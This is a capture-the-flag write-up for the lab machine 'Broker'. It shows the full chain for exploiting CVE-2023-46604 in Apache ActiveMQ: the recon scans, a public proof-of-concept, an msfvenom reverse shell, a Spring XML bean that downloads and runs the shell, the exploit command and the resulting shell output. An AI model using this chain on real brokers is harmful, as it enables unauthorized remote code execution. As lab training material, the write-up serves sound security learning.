Broker
An exposed Apache ActiveMQ 5.15.15 OpenWire broker is vulnerable to CVE-2023-46604, an unauthenticated deserialization flaw that instantiates a Spring ClassPathXmlApplicationContext from an attacker-hosted XML file to run a reverse shell as the activemq user.
Overview
Broker is an easy-difficulty Linux box whose entire foothold rests on one CVE. Nmap fingerprints Apache ActiveMQ 5.15.15 on the OpenWire transport port, and that version is vulnerable to CVE-2023-46604 — a critical (CVSS 10.0) unauthenticated remote code execution flaw in the OpenWire protocol marshaller. A public proof-of-concept makes the broker load a malicious Spring XML bean definition and spawn a reverse shell, landing us directly as the activemq user that owns user.txt. This post covers recon through the user flag.
Machine Matrix
CVE is the whole foothold: ActiveMQ CVE-2023-46604 OpenWire deserialization RCE via a public PoC, with minimal enumeration and no bespoke work.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH 8.9p1 | Ubuntu, default |
| 80/tcp | nginx 1.18.0 | HTTP 401 Unauthorized |
| 61616/tcp | Apache ActiveMQ | OpenWire transport, version 5.15.15 |
A full-port scan first, then a targeted version scan on whatever is open:
1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.X | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.X
The OpenWire fingerprint on 61616 leaks the exact build — the banner ends in 5.15.15. Web is a dead end (401), so the broker is the way in.
Enumeration
ActiveMQ 5.15.15 predates the patch for CVE-2023-46604. The OpenWire marshaller deserialises a class name and a string argument from incoming “error” packets without verifying the class is actually a Throwable. That lets an unauthenticated attacker instantiate any class on the classpath — most usefully Spring’s ClassPathXmlApplicationContext, whose constructor fetches and parses a remote XML bean file. Defining a ProcessBuilder bean with init-method="start" in that XML turns “load this config” into “run this command.”
Grab a public PoC:
1
2
wget https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ/archive/refs/heads/main.zip
unzip main.zip && cd CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ-main/
Foothold
1 — Stage the payload. Build an ELF reverse shell and edit the PoC’s poc-linux.xml so its ProcessBuilder command downloads and runs it from your web server:
1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.X LPORT=4444 -f elf -o test.elf
The relevant bean in poc-linux.xml runs sh -c "curl -s -o test.elf http://10.10.14.X:8001/test.elf; chmod +x ./test.elf; ./test.elf".
2 — Start the web server and listener (each in its own terminal):
1
2
python3 -m http.server 8001
nc -lvvp 4444
3 — Fire the exploit. -i is the target, -p the OpenWire port, -u the URL of your malicious Spring XML:
1
go run main.go -i 10.10.10.X -p 61616 -u http://10.10.14.X:8001/poc-linux.xml
The broker fetches the XML, Spring instantiates the ProcessBuilder bean, and the listener catches a shell as activemq:
1
2
3
connect to [10.10.14.X] from (UNKNOWN) [10.10.10.X]
activemq@broker:/opt/apache-activemq-5.15.15/bin$ id
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
Upgrade to a PTY and grab the flag:
1
2
script /dev/null -c bash
cat /home/activemq/user.txt # [redacted]
Command execution as activemq and the user flag are ours.
Privilege escalation (the NOPASSWD: /usr/sbin/nginx sudo misconfiguration) is left as an exercise — this post stops at user.